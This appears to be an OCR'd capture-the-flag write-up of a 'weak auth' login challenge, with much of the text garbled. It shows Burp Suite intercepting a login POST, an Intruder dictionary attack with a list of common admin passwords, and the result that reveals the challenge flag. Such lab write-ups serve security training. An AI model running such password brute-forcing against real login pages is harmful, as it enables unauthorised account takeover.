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Login

username
password

login

reset
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please login as admin

(3) BRI LEpR, BAVEMadminik P47 &M, FBEHCOHE A GXERFHRZadmin)

Login

admin

login

reset
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passwaord error
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<IDOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<titlerweak auth</title>
</head>
<body>

<{scriptralert( password error ) :</script></——maybe yvou need a dictionary——>
</body>

</html>
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Burp Project Intruder Repeater Window Help

[ Dashboard ]’Targel ]'mey T Intruder T Repeater T Sequencer ]’ Decoder ]’ Comparer T Extender I Project options I User options

j]nlen:epi T HTTP history IWehSockets history I Options }

/ Request to httpr//111.198 29 45-50001

l Forward J l Drop J [ Intercept is on l { Action

Raw | Params | Headers | Hex

POST Jcheck.php HTTRA 1 &
Host: 111.198.29.45:50001 1
User-Agent: Mozilla/s.0 (Windows NT 10.0; WOWE4; rv67 .0) Gecko/20100101 Firefox/67.0
Accept: text/html application/xhtml+xml,application/sml, g=0.9 **,q=0.8

Accept-Language: zh-CN,zh;q=0.8 zh-TW,;q=0.7 ,zh-HI;g=0.5 &n-US; =0 3 en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http://111.198.29.45:50001/

Content-Type: application/s-www-form-urlencoded

Caontent-Length: 29

Connection: close

Upgrade-Insecure-Requests: 1 Scan

usemame=admin&password=admin

Send to Repeater Ctr+R.
Send to Sequencer

Send to Comparer

Send to Decoder

Request in browser >
Engagement tools >
Change request method

Change body encoding

Copy URL

Copy as curl command

Copy to file

Paste from file

Save item

Don't intercept requests >
Do intercept >
Convert selection >

URL-encode as you type




Cut Ctrl+X
Copy Ctrl+C
Paste Ctrl+V
R Message editor documentation |Y
® =Lt > T Proxy interception documentation U matches
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[ Dashboard ]’Targel I Proxy Tlnwdef T Repeater T Sequencer ]’ Decoder ]’ Comparer T Extender I Project options I User options

1= |20 | ..

[Target TPosmons I Payloads T Options ]

@ Payload Positions

Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full
details.

Attack type: {Sniper Iv]

POST /check. php HTTRA A 2

Host: 111.198.29.45:50001 i Aads
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4, rv.67.0) Gecko/20100101 Firefox/&7.0 Clear §
Accept: text/html,applicationfxhtml+xml application/xml;g=0.9 */*q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2

Auto §
Accept-Encoding: gzip, deflate

Referer: http://111.198.29.45:50001/ Refresh
Content-Type: application/x-www-form-urlencoded

Content-Length: 29
Connection: close
Upgrade-Insecure-Requests: 1

username=admin&password=§admm§|

b
v

0 matches T

Length: 512

1 payload position
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[ Dashboard ]'Targel I Proxy Tlnwdef T Repeater T Sequencer ]' Decoder ]' Comparer T Extender I Project options I User options

1= |20 | ..

[Target ]' Positions IPa}rJoads T Options ]

[a
@ Payload Sets

Start attack | |\

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set,
and each payload type can be customized in different ways.

Payload set: |1 | Payload count: 7,501

Payload type: | Simple list | Request count: 7,501

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste ingadmin El

— |admini2
Load... | | adminggs

m adming »>

l—J admin123

W sysadmin

adminoo b
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® Payload Processing

You can define rules to perform various processing tasks on each payload before it is used.

Add J Enabled |Rule

Edit |

Remove | »>

|

Intruder attack 1 — O *

Attack Save Columns

_[ Results I Target T Positions I Payloads T Options }

Filter: Showing all items ®
Request | Payload | Status | Errar | ﬂmeuut| Length Y| Comment
K} 123456 200 LJ (] 4371 A
0 200 O [] 434
1 ingadmin 200 J ] 434
2 admini2 200 O [] 434
3 admin888 200 O [] 434
4 adming 200 O [] 434
b admin123 200 O [] 434
6 sysadmin 200 ] ] 434
7 adminzoo 200 J ] 434
9 Gkadmin 200 O (] 44 E
[ Request TRespnnse ]
jRaw I Headers T Hex T HTML I Render ]
Content-Type: text/html L

<IDOCTYPE htmi=
<html lang="en"=>
<head>
<meta charset="LUTF-8">
<title>weak auth</title>
</head=
<hody=

cyberpeace{a30348856e772ec368f47196eala31ah}< --maybe you need a dictionary--»

</body>
</html=

o

® < + = Type a search term 0 matches

Finished
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